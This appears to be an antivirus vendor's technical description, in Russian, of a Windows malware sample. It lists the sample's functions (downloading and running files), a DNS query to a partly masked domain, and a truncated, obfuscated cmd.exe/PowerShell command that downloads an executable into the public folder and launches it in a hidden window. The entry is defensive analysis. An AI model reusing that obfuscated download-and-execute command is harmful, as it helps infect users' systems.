Техническая информация
Вредоносные функции
Загружает файлы и запускает на исполнение.
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /V^:^O/C"^se^t ^ol^J= ^ ^ ^ ^ ^ ^ ^ ^ }^}{hctac^}^;ka^erb^;^Mn^K^$^ me^t^I-^ekovnI;)^MnK^$ ^,^sVV$(^e^li^F^daolnwoD^.ThZ$^{^yrt{)z^jE$ n^i sVV$(hca^ero^f^;^'exe.'+VJ^G^$^+'^\^'^+ci^lbup...
Сетевая активность
UDP
- DNS ASK 4j####32ayqiw.com
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /V^:^O/C"^se^t ^ol^J= ^ ^ ^ ^ ^ ^ ^ ^ }^}{hctac^}^;ka^erb^;^Mn^K^$^ me^t^I-^ekovnI;)^MnK^$ ^,^sVV$(^e^li^F^daolnwoD^.ThZ$^{^yrt{)z^jE$ n^i sVV$(hca^ero^f^;^'exe.'+VJ^G^$^+'^\^'^+ci^lbup...' (со скрытым окном)
